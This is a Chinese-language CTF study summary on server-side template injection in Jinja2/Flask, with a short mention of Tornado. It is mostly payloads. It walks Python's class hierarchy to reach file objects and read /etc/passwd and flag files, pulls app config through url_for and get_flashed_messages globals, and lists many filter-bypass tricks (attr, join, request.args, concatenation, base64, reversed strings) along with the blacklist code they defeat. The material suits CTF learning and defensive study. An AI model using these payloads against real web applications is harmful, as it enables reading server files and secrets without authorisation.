CTF 对SSTI的一些总结

文章链接

前言

SSTI(服务端模板注入),在近年的CTF还是经常遇到,18年护网杯的easy_tonado、CISCN2019华东东南赛区的Smarty模板、BJDCTF2020的TWIG模板等等,还有相关考点沙盒逃逸,结合自己做题遇到的利用点做一个总结。

SSTI是什么?

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

简而言之,就是一个购物清单,把将上面的一个一个商品名换成对应的商品放在购物车里。
 

常见的模板

php常见模板:twig,smarty,blade
python常见的模板:Jinja2,tornado,Django
java常见的模板:FreeMarker,velocity

模板注入的步骤

1.判断是否为SSTI
2.查看文件
3.选可用的对象和调用函数

模板注入的目的

从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

Flask模板学习

基础

jinjia格式

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

了解python的几个函数解析

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

一些利用语句

# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__ 
<type 'str'>

# 获得其父类
>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

# 获得父类中的object类
>>> "".__class__.__mro__[2] 
<type 'object'>

# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>

# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__() 
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40] 
<type 'file'>

# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd") 
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>

# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged 
User:/var/empty:/usr/bin/false
root:*:0:0:System 
Administrator:/var/root:/bin/sh

利用方式

遇到有关FLASK的题,该怎么下手?

查看配置文件
命令执行(沙盒逃逸题目的利用方式)

查看配置文件
什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。可以通过两个例题来举例:

easy_tornado

这题存在render函数,通过{{}}和字符对象指向handler.settings,指向RequestHandler。这个对象可以获取当前application.settings,从中获取到敏感信息。

shrine

这题给了源码

import flask
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') //设置环境变量名称
//注册了一个名为FLAG的config,猜测这就是flag,
如果没有过滤可以直接{{config}}即可查看所有app.config内容,
但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
@app.route('/') 
def index(): return open(__file__).read()

@app.route('/shrine/') def shrine(shrine): 
def safe_jinja(s): s = s.replace('(', '').replace(')', '') 
blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) //返回字符串的ascii 
if __name__ == '__main__': app.run(debug=True)

同样在此题的Flask框架中,我们可以通过内置的config对象直接访问该应用的配置信息。

先读取配置文件

/shrine/{{url_for.globals['current_app'].config}}

拿到配置文件,找到current_app。url_for内置函数、__globals__对包含函数全局变量的字典的引用,current_app为函数,config配置文件。

由于过滤config,采用内置函数绕过WAF

/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}

WAF绕过

绕过字符与典型函数类

过滤[]

//绕过方法1:__getitem__绕中括号限制
	即将mro_[2]等价于__getitem__(2)即可
	''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
	 {}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
	().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
 	request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
//绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
//使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

过滤_

blacklist = ["_"]
#绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**

过滤’request[request.’

blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**

过滤_class_

blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}

绕过.方法

若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")

绕过 ‘__’

exploit = request.args.get('exploit')
print exploit

blacklist = ["_"]
for bad_string in blacklist:
    if  bad_string in exploit:
        return "HACK ATTEMPT {}".format(bad_string), 400

绕过’[’ 和 ‘]’

blacklist = ["__","request[request.","__class__",'[',']']

过滤关键字类

绕过config、request以及class
拼接绕

{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}

利用__enter__方法绕(python3中)

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256]

绕下划线、与中括号

{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过
base64

().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()

字符串拼接

+拼接

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()

[::-1]取反绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

reload方法

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement

del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

特殊读取文件姿势

{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

参考资料

沙盒逃逸
有关SSTI的一切小秘密